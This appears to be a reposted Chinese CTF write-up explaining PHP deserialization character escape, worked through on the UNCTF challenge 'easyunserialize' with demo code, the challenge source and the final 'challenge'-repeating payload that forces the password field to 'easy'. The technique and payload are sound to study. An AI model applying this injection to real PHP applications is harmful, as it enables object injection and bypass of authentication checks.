1. 程式人生 > 實用技巧 >UNCTF-WEB: easyunserialize(反序列化字元逃逸)

UNCTF-WEB: easyunserialize(反序列化字元逃逸)

反序列化字元逃逸實驗

原理:利用字串過濾使的原來序列化的讀取的s長度發生了改變(多出一個字元就能逃逸一個字元)

對於反序列化的語法來說,第一個右括號之後的字元都是作廢的

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
}


$user.='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hack!!";}';
$AA=new A(); $AA->name=$user; echo serialize($AA)."</br>"; $res=filter(serialize($AA)); echo $res."</br>"; $c=unserialize($res); echo $c->pass; ?>

題目原始碼:

<?php 
error_reporting(0); 
highlight_file(__FILE__);

class a 
{ 
    public $uname; 
    public $password; 
    public function __construct($uname,$password) 
    { 
        $this->uname=$uname; 
        $this->password=$password; 
    } 
    public function __wakeup() 
    { 
            if($this->password==='easy') 
            { 
                include('flag.php'); 
                echo $flag;     
            } 
            else 
            { 
                echo 'wrong password'; 
            } 
        } 
    } 

function filter($string){ 
    return str_replace('challenge','easychallenge',$string); 
} 

$uname=$_GET[1]; 
$password=1; 
$ser=filter(serialize(new a($uname,$password))); 
$test=unserialize($ser); 
?> 
wrong password

現在我們會利用反序列化字元逃逸了,得到原始碼先序列化一下原來的字串,將它拷貝出來以便後續進行修改

O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";i:1;}

我們要把password改為easy,改造成如下

O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";s:4:"easy";}

計算得到需要逃逸29個字元,但是過濾函式是一次逃逸4個字元,得不到4的倍數,所以我們在後面補充幾個字元使得逃逸的字元數為4的倍數

得到exp如下

challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";aaa}

參考:https://www.cnblogs.com/Sumarua/p/12932401.html